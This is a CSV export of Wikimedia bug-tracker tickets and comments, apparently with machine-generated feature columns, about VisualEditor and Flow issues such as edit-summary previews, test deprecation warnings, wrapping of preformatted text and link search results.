+https://gerrit.wikimedia.org/r/112490",,,1392057409,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+200585,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"To clarify, when the diff is shown ('Review your changes' dialog pane) we want to parse the entered summary and display it, probably above the diff.",,,1392053170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,True,,,32,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0
+200579,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"(In reply to comment #1)
+> As Max says, to be resolved by the dialog being a mini-VE surface.
+
+So this has been assigned to me but I think I need a few pointers. Firstly, where can I find the code for mini-surfaces?",,,1392042811,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,True,,,32,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1
+200572,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"From Bug 53729:
+A De.WP user suggested to include a preview for the edit summary. Report:
+
+https://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=122207411#Vorschau_f.C3.BCr_Zusammenfassung_und_Quellen",,,1380545717,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+200567,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,*** Bug 53729 has been marked as a duplicate of this bug. ***,,,1380545659,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+200560,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"User:Elizium23 at en.wp comments that the current save dialog ""permits entry of an edit summary with newlines, however, no newlines are preserved in the edit summary when it is saved to the Wiki. This is confusing, because I just used a WYSIWYG editor, but what I see in the edit summary is not what I get.""
+
+While, AIUI, the current dialog is only temporary the issue of newlines (and presumably bold, italic, etc) will be applicable to the new ""surface"" unless that doesn't permit these features or edit summaries are upgraded to support them.",,,1373483224,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1
+200553,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"Per bug 51125 (which has been merged into this one), we should show the edit summary if provided in the ""Review your changes"" tab",,,1373481003,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0
+200546,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,*** Bug 51125 has been marked as a duplicate of this bug. ***,,,1373480869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+200538,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"As Max says, to be resolved by the dialog being a mini-VE surface.",,,1353018028,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+56590,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"this is like bug 46893.
+
+ $ cd extensions/VisualEditor/modules/ve-mw/test/browser
+ $ bundle exec cucumber features/visual_editor_bullets.feature
+
+If the tests progress, eventually they print out a lot of
+
+*** DEPRECATION WARNING
+*** You are calling a method named class_name at /home/spage/projects/core/extensions/VisualEditor/modules/ve-mw/test/browser/features/step_definitions/visual_editor_bullets_steps.rb:81:in `block in <top (required)>'.
+*** This method does not exist in page-object so it is being passed to the driver.
+*** This feature will be removed in the near future.
+*** Please change your code to call the correct page-object method.
+*** If you are using functionality that does not exist in page-object please request it be added.
+
+*** DEPRECATION WARNING
+*** You are calling a method named select_text at /home/spage/projects/core/extensions/VisualEditor/modules/ve-mw/test/browser/features/step_definitions/visual_editor_bullets_steps.rb:14:in `block in <top (required)>'.
+*** [same last 4 lines]
+
+The lines deprecated by the former are all of the form
+  SOME_element.class_name.{should, should_not} match /disabled/
+where the HTML has CSS class=""ve-ui-widget ve-ui-tool ve-ui-tool-outdent ve-ui-widget-disabled"".  I don't know the page-object equivalent to retrieving the CSS class (attribute( 'class' ), but maybe instead the code could use page-object's disabled? and enabled? methods.
+
+The latter deprecation is odd since the test specifically requires ""watir-webdriver/extensions/select_text""
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**Whiteboard**: gci2013 https://www.mediawiki.org/wiki/Google_Code-In#Candidate_tasks",Low,25.0,1380084600,1414406388.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-al543vpnemdlnqyld3n4,task_description,resolved,True,c1,3,False,False,False,12,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+257733,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"After a quick look at VisualEditor Jenkins jobs[0], looks like this is fixed. Please reopen if you see the problem again.
+
+0: https://integration.wikimedia.org/ci/view/BrowserTests/view/VisualEditor/",,,1414406388,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,69,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+257727,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"(In reply to Chris McMahon from comment #4)
+> Cheezy actually fixed this but hasn't updated the page-object gem yet
+> https://github.com/cheezy/page-object/issues/192
+
+Željko / Chris: Is this still a valid ticket one year after? Has Cheezy updated it in the meantime or is this still a task suitable for new contributors?",,,1414345430,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,68,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+257721,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"If you need more information (and you probably do), feel free to ask questions
+here, at #wikimedia-qa freenode IRC channel or at QA mailing list:
+
+https://lists.wikimedia.org/mailman/listinfo/qa",,,1386004101,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+257714,page-object Ruby gem deprecation warnings in VisualEditor browser tests,Cheezy actually fixed this but hasn't updated the page-object gem yet https://github.com/cheezy/page-object/issues/192,,,1382721432,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+257706,page-object Ruby gem deprecation warnings in VisualEditor browser tests,See also bug 46893,,,1382712015,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+257697,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"And here:
+
+https://wmf.ci.cloudbees.com/job/VisualEditor-test2.wikipedia.org-linux-firefox/119/console",,,1382711956,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+257689,page-object Ruby gem deprecation warnings in VisualEditor browser tests,"Still not fixed:
+
+https://wmf.ci.cloudbees.com/view/r-ve/job/VisualEditor-test2.wikipedia.org-linux-chrome/96/console",,,1382711467,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-al543vpnemdlnqyld3n4,task_subcomment,,True,c1,3,True,,,16,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+56586,VisualEditor: Allow inspectors to be left-aligned?,"Non-embedded inspectors are generally positioned to the bottom right of the node they're inspecting. In cases where we're dynamically altering the node, however (like the live preview feature for math), it probably makes more sense to position that kind of inspector at the bottom left. Then if the dimensions of the node change, the inspector will move around a bit less.
+
+Thoughts? Other ideas to tackle this issue?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1380073020,1442494980.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-vnxcxik6c5qmqlw52xaj,task_description,resolved,True,c1,3,False,False,False,12,,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+529313,VisualEditor: Allow inspectors to be left-aligned?,Fixed a while ago,,,1442494980,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vnxcxik6c5qmqlw52xaj,task_subcomment,,True,c1,3,True,,,115,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+56490,Flow: misleading exception is thrown if the parsoid service is down,"If the parsoid service is down (`sudo service parsoid stop`, or update extension/Parsoid and forget/fail `npm install`), then viewing flow pages fails with exception
+
+   Parser only supports wikitext to HTML conversion
+
+   Backtrace:
+
+   #0 /srv/mediawiki/extensions/Flow/includes/ParsoidUtils.php(24): Flow\ParsoidUtils::parser('html', 'wikitext', '<p>It's a long ...')
+
+This is true, but it masks the real problem that parsoid has to work, and didn't.  ParsoidUtils::convert has a try-catch block around using parsoid, and if that fails it will fall back to using parser. It would be helpful for wiki operators if the exception message included the parsoid failure, e.g.
+   Parser only supports wikitext to HTML conversion (and parsoid earlier failed with exception ""VisualEditor is unavailable"")
+
+Now that I've figured out what's going on, this has become a low-priority bug :-)
+
+--------------------------
+**Version**: master
+**Severity**: minor",Low,25.0,1380001740,1386220039.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-vpzdercihud4opsstlu6,task_description,resolved,True,c1,3,False,False,False,12,,0,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+257321,Flow: misleading exception is thrown if the parsoid service is down,https://gerrit.wikimedia.org/r/#/c/92633/,,,1386220039,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-vpzdercihud4opsstlu6,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+257316,Flow: misleading exception is thrown if the parsoid service is down,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/264,,,1380310267,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-vpzdercihud4opsstlu6,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+56472,VisualEditor: Allow re-positioning of selected media items using arrow keys,"When an image is selected it should be possible to position it using the cursor keys.
+
+up/down should move it one line up/down. Whether left/right should move it one character or one word at a time I'm not sure about. Possibly shift/ctrl should modify this?
+
+This would be useful for fine control and for systems with laggy mouse behaviour (not uncommon on slow connections in my experience).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51665",Low,25.0,1379954340,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-b2btpgodq22ee3ay6bt2,task_description,open,True,c1,3,False,False,,12,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+256016,VisualEditor: Allow re-positioning of selected media items using arrow keys,We probably can't use arrow keys (because that's over-riding expected behaviour of moving the cursor) but we could use Ctrl+→ etc. potentially.,,,1380072535,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b2btpgodq22ee3ay6bt2,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+56381,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"When a pre-formatted paragraph with long lines is displayed in VE it word wraps. However it doesn't word-wrap in display mode (T2260), meaning that you have no idea that you need to add manual line breaks until after you have saved.
+
+See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&oldid=573792519#Section_number_three (rendered) and https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&oldid=573792519&veaction=edit&section=2 (in VE)
+
+The word wrapping in VE is actually better than what happens in read mode, but the two should not be different. Fixing T2260 would be better, but as it's been open since 2004 adjusting VE to match the current behaviour seems more realistic :/
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=260",Low,25.0,1379694420,1429559880.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+446573,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"Change 205177 merged by jenkins-bot:
+Do not wrap <pre> nodes
+
+[[https://gerrit.wikimedia.org/r/205177]]",,,1429559989,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,False,,,94,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+446004,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"Change 205177 had a related patch set uploaded (by Bartosz Dziewoński):
+Do not wrap <pre> nodes
+
+[[https://gerrit.wikimedia.org/r/205177]]
+",,,1429476381,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,False,,,93,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+446003,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"We have `pre.ve-ce-branchNode { white-space: pre-wrap; }` added per T40043, because Chrome/Safari will otherwise //also// wrap the text, not just between words, but anywhere (this affects any `<pre>` inside a  `contenteditable=""true""` node). I did some searching and found https://bugs.webkit.org/show_bug.cgi?id=35935; it appears that we can set `word-wrap: normal;` to override this behavior.
+
+We also need to remove `overflow: hidden` from the surface to get regular sane horizontal scrolling behavior. It doesn't //seem// to be necessary…",,,1429476284,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,93,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+446002,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,,,,1429475491,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,93,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+446001,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,,,,1429475153,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,93,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+250379,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"Created attachment 17130
+Read - no word wrapping
+
+**Attached**: {F11732}",,,1415999787,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,71,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+250374,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"Created attachment 17129
+Preformatted text in Edit- word wrapping is present
+
+**Attached**: {F11731}",,,1415999734,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,71,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+250370,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,Alternatively we could fix this bug in MediaWiki…,,,1415881181,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,71,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+56365,VisualEditor: Provide a dialog with a list of all keyboard short-cuts (on Ctrl+? or similar?),"See e.g. http://www.impressivewebs.com/demo-files/question-mark-js/ - similarly used in Reddit etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1379661360,1390677098.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-5xysqxijiml4iixxb7sd,task_description,resolved,True,c1,3,True,False,False,11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+249415,VisualEditor: Provide a dialog with a list of all keyboard short-cuts (on Ctrl+? or similar?),https://gerrit.wikimedia.org/r/#/c/107153/,,,1390677098,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5xysqxijiml4iixxb7sd,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+56361,VisualEditor: OpenSearch results aren't perfect for searching for pages (some don't come up),"Screenshot of link inspector not listing a matching page
+
+When opening the link inspector on a link to dab page [[Department of Foreign Affairs and Trade]], the link inspector shows two items: the dab page, and the page [[Department of Foreign Affairs and Trade (Ireland)]].  It does not list [[Department of Foreign Affairs and Trade (Australia)]].  The unlisted page is not a new page.
+
+Steps to reproduce:
+1. https://en.wikipedia.org/w/index.php?title=Heidi_Bootle&oldid=573475141
+2. Open Visual Editor
+3. Click on Department of Foreign Affairs and Trade
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51013
+
